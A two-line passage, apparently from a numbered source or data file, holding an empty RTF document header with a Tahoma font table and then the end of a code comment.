9280*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
9281*/